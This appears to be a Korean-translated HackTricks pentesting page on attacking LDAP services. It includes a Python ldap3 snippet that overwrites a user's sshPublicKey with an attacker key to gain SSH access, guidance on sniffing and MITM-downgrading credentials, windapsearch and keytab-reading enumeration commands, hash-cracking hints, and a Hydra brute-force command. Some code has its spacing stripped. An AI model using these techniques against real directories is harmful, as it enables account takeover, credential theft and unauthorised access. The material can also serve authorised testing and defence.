LDAP (경량 디렉터리 액세스 프로토콜)의 사용은 주로 공공 및 사설 네트워크 내에서 조직, 개인 및 파일 및 장치와 같은 리소스와 같은 다양한 엔터티를 찾기 위한 것입니다. 이전 버전인 DAP에 비해 더 작은 코드 풋프린트를 가지고 있어 간소화된 접근 방식을 제공합니다.
LDAP 디렉터리는 여러 서버에 분산될 수 있도록 구조화되어 있으며, 각 서버는 디렉터리의 복제된 및 동기화된 버전을 보유하고 있으며, 이를 디렉터리 시스템 에이전트(DSA)라고 합니다. 요청 처리에 대한 책임은 전적으로 LDAP 서버에 있으며, 필요에 따라 다른 DSA와 통신하여 요청자에게 통합된 응답을 제공합니다.
LDAP 디렉터리의 조직은 루트 디렉터리가 맨 위에 있는 트리 계층 구조를 닮고 있습니다. 이는 국가로 분기되고, 국가에서 다시 조직으로 나뉘며, 그 후 다양한 부서나 부서를 나타내는 조직 단위로 나뉘고, 마지막으로 개인 엔터티 수준에 도달하여 사람과 파일 및 프린터와 같은 공유 리소스를 포함합니다.
기본 포트: 389 및 636(ldaps). 글로벌 카탈로그(ActiveDirectory의 LDAP)는 기본적으로 포트 3268 및 3269에서 LDAPS를 사용할 수 있습니다.
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDAP 데이터 교환 형식
LDIF (LDAP 데이터 교환 형식)는 디렉터리 내용을 일련의 레코드로 정의합니다. 또한 업데이트 요청(추가, 수정, 삭제, 이름 변경)을 나타낼 수 있습니다.
Lines 5-8은 1단계 도메인 moneycorp (moneycorp.local)을 정의합니다.
Lines 10-16은 2개의 조직 단위: dev와 sales를 정의합니다.
Lines 18-26은 도메인의 객체를 생성하고 속성을 값으로 할당합니다.
Write data
값을 수정할 수 있다면 정말 흥미로운 작업을 수행할 수 있습니다. 예를 들어, 사용자 또는 다른 사용자의 "sshPublicKey" 정보를 변경할 수 있다고 상상해 보십시오. 이 속성이 존재한다면 ssh가 LDAP에서 공개 키를 읽고 있을 가능성이 높습니다. 사용자의 공개 키를 수정할 수 있다면 ssh에서 비밀번호 인증이 활성화되지 않았더라도 해당 사용자로 로그인할 수 있습니다.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/>>> importldap3>>> server=ldap3.Server('x.x.x.x',port=636,use_ssl=True)>>> connection=ldap3.Connection(server,'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN','PASSWORD',auto_bind=True)>>> connection.bind()True>>> connection.extend.standard.who_am_i()u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Sniff clear text credentials
LDAP가 SSL 없이 사용되면 네트워크에서 자격 증명을 평문으로 스니핑할 수 있습니다.
또한, LDAP 서버와 클라이언트 사이의 네트워크에서 MITM 공격을 수행할 수 있습니다. 여기서 클라이언트가 평문으로 된 자격 증명을 사용하여 로그인하도록 다운그레이드 공격을 할 수 있습니다.
SSL이 사용되는 경우 위에서 언급한 것처럼 MITM을 시도할 수 있지만 잘못된 인증서를 제공하여, 사용자가 이를 수락하면 인증 방법을 다운그레이드하고 자격 증명을 다시 볼 수 있습니다.
Anonymous Access
Bypass TLS SNI check
이 글에 따르면 임의의 도메인 이름(예: company.com)으로 LDAP 서버에 접근하기만 하면 익명 사용자로서 LDAP 서비스에 연락하고 정보를 추출할 수 있었습니다:
LDAP 익명 바인딩은 인증되지 않은 공격자가 도메인에서 사용자, 그룹, 컴퓨터, 사용자 계정 속성 및 도메인 비밀번호 정책의 전체 목록과 같은 정보를 검색할 수 있도록 허용합니다. 이는 구식 구성이며, Windows Server 2003부터는 인증된 사용자만 LDAP 요청을 시작할 수 있습니다.
그러나 관리자는 특정 애플리케이션을 설정하여 익명 바인딩을 허용해야 할 수도 있으며, 의도한 것보다 더 많은 액세스를 부여하여 인증되지 않은 사용자가 AD의 모든 객체에 접근할 수 있도록 했을 수 있습니다.
유효한 자격 증명
LDAP 서버에 로그인할 수 있는 유효한 자격 증명이 있는 경우, 다음을 사용하여 도메인 관리자에 대한 모든 정보를 덤프할 수 있습니다:
Windapsearch는 LDAP 쿼리를 활용하여 Windows 도메인에서 사용자, 그룹 및 컴퓨터를 열거하는 데 유용한 Python 스크립트입니다.
# Get computerspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--computers# Get groupspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--groups# Get userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Domain Adminspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Privileged Userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--privileged-users
# CREDENTIALS NOT VALID RESPONSEsearch:2result:1Operationserrortext:000004DC:LdapErr:DSID-0C090A4C,comment:Inordertoperformthisoperationasuccessfulbindmustbecompletedontheconnection.,data0,v3839
"bind must be completed"라는 문구가 있다면, 이는 자격 증명이 올바르지 않다는 것을 의미합니다.
#Read keytab file./klist-k/etc/krb5.keytab#Get known domains info./get-status./lsaget-status#Get basic metrics./get-metrics./lsaget-metrics#Get users./enum-users./lsaenum-users#Get groups./enum-groups./lsaenum-groups#Get all kind of objects./enum-objects./lsaenum-objects#Get groups of a user./list-groups-for-user<username>./lsalist-groups-for-user<username>#Get groups of each user./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group./enum-members--by-name"domain admins"./lsaenum-members--by-name"domain admins"#Get users of each group./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user./adtool-asearch-user--nameCN="*"--keytab=/etc/krb5.keytab-n<Username>|grep"CN"|whilereadline; doecho"$line";./adtool--keytab=/etc/krb5.keytab-n<username>-alookup-object--dn="$line"--attr"description";echo"======================"done
You can feed john with the password hash (from '{SSHA}' to 'structural' without adding 'structural').
구성 파일
일반
containers.ldif
ldap.cfg
ldap.conf
ldap.xml
ldap-config.xml
ldap-realm.xml
slapd.conf
IBM SecureWay V3 서버
V3.sas.oc
Microsoft Active Directory 서버
msadClassesAttrs.ldif
Netscape Directory Server 4
nsslapd.sas_at.conf
nsslapd.sas_oc.conf
OpenLDAP 디렉토리 서버
slapd.sas_at.conf
slapd.sas_oc.conf
Sun ONE Directory Server 5.1
75sas.ldif
HackTricks 자동 명령
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f